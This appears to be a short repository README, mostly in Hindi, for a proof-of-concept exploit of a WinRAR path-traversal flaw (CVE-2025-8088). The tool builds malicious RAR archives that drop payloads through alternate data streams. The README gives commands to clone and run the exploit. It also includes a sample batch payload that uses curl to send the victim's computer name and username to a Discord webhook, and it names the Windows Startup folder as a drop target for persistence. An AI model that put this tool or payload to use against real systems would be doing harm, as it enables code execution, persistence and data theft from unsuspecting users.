techcorp/cve-2025-8088-exploit
WinRAR भेद्यता (CVE-2025-8088) के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो संस्करण 7.12 और उससे निचले संस्करणों को प्रभावित करती है। यह टूल एक दुर्भावनापूर्ण RAR आर्काइव बनाता है जो पाथ ट्रैवर्सल के साथ ऑल्टरनेट डेटा स्ट्रीम्स (ADS) में पेलोड एम्बेड करता है, जिससे संभावित रूप से आर्बिट्ररी कोड एक्सीक्यूशन हो सकता है।
WinRAR भेद्यता (CVE-2025-8088) के लिए एक proof-of-concept एक्सप्लॉइट, जो संस्करण 7.12 और उससे निचले संस्करणों को प्रभावित करता है। यह टूल एक दुर्भावनापूर्ण RAR संग्रह बनाता है जो पेलोड को ऑल्टरनेट डेटा स्ट्रीम (ADS) में पाथ ट्रैवर्सल के साथ एम्बेड करता है, जो संभावित रूप से मनमाना कोड निष्पादन की ओर ले जाता है।
# Clone the repository
git clone https://github.com/techcorp/CVE-2025-8088-Exploit.git
cd best-CVE-2025-8088
# Install dependencies
pip install reportlab
# Run the exploit
python CVE-2025-8088.py
डिस्कॉर्ड वेबहुक को कॉल करने के लिए पेलोड संपादित करें:
# Replace the PAYLOAD variable in the script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""
YOUR_DISCORD_WEBHOOK_URL को अपने वास्तविक वेबहुक URL से बदलें।
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\